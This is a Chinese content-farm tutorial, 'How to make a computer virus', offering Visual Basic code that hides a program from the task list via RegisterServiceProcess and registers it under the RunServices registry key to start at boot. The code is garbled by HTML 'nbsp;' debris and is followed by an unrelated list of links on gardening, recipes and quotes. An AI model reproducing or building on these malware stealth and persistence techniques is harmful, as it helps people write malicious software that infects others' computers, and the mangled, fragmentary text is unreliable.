如何製作電腦病毒方法
對於接觸計算機的朋友們來說,病毒已經不在是一個陌生的東西。病毒一般都具有傳播、隱藏、破壞等能力。下面由小編給你做出詳細的電腦病毒製作方法介紹!希望對你有幫助!
電腦病毒製作方法介紹:
所以自從第一個病毒問世以來,它便被人們視為一種神祕的東西。但是,我們要知道。病毒也是程式,也是由人寫出來的。
所以,病毒並不是什麼高不可攀的東西。現在,讓我們瞭解一下VB製作病毒的原理。首先,病毒是有隱藏性的。如何來實現病毒的隱藏是很多年來的熱點話題。我們先不接觸什麼執行緒插入技術。
我們要實行自我隱藏,就要用到API函式。其程式碼如下:Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;“kernel32“nbsp;nbsp;Asnbsp;LongPublicnbsp;Declarenbsp;Functionnbsp;RegisterServiceProcessnbsp;Libnbsp;“kernel32“nbsp;ByValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;LongPublicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;1Publicnbsp;Constnbsp;RSP_UNREGISTER_SERVICEnbsp;=nbsp;0Publicnbsp;Subnbsp;MakeMeServiceDimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessidregservnbsp;=nbsp;RegisterServiceProcesspid,nbsp;RSP_SIMPLE_SERVICEEndnbsp;Sub這樣就實現了自我隱藏。還有別的什麼App.Titlenbsp;=nbsp;““和App.TaskVisiblenbsp;=nbsp;False都可以用於VB病毒的隱藏。
病毒光會隱藏還不行,還要有常駐記憶體的能力。
說通俗點,計算機關閉病毒也就跟著死去,而計算機重啟,病毒也要跟這復活。
所以,我們接下來的任務就是:實現病毒的開機自啟。瞭解病毒的朋友會知道,病毒一般是利用在登錄檔中插入相應鍵值來實現開機自啟的。
所以,我們就要利用程式設計來實現著一功能。讀寫登錄檔要用到API函式,程式碼:Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegCreateKeyA“nbsp;ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Longnbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;“advapi32.dll“nbsp;ByValnbsp;hKeynbsp;Asnbsp;Longnbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegSetValueExA“nbsp;ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpvalueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;lpDatanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Longnbsp;Asnbsp;Long上述是API宣告。
病毒的開機自啟就是在RUN下建立一個啟動項,程式碼:Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len“病毒的絕對路徑“RegCreateKeynbsp;HKEY_LOCAL_MACHINE,nbsp;“SoftwareMicrosoftWindowsCurrentVersionRunservices“,nbsp;hKeyRegSetValueExnbsp;hKey,nbsp;“鍵名“,nbsp;0,nbsp;REG_SZ,nbsp;ByValnbsp;“病毒的絕對路徑“,nbsp;ccRegCloseKeynbsp;hKey以上程式碼執行後會在登錄檔中加入一個病毒的啟動項。光利用開機自啟來長駐記憶體也太容易被殺了。所以,我們還要想盡一切辦法來讓病毒啟動。
- 如何製作電腦病毒方法
- 蒲公英的高產栽培技術
- 立秋吃什麼養胃有哪些食品
- 什麼是生態文明生態文明的闡述
- 日本高中留學一年費用是多少
- 初三學生學期輔導員評語
- 畢業季黑板報花邊紋樣設計圖片
- 有關反義詞的笑話有哪些
- 老師期末考試國旗下動員講話稿
- 蜂蜜橄欖油麵膜的做法及功效作用
- 公積金的用法與作用意義***2***
- 方言文字表情包圖片
- 艾葉煮雞蛋的做法及營養價值
- 非主流超短頹廢傷感簽名
- 傷感霸氣句子大全
- 草莓主要栽培技術有哪些
- 甜瓜的無土栽培技術大全
- 寂寞因為思念誰的張磊歌詞
- 青春勵志名言名句有哪些
- 有哪些免費又好看的勵志書籍推薦
- 康熙字典五行屬金的字
- 康熙字典五行屬木的字
- 康熙字典五行屬水的字
- 康熙字典五行屬火的字
- 康熙字典五行屬土的字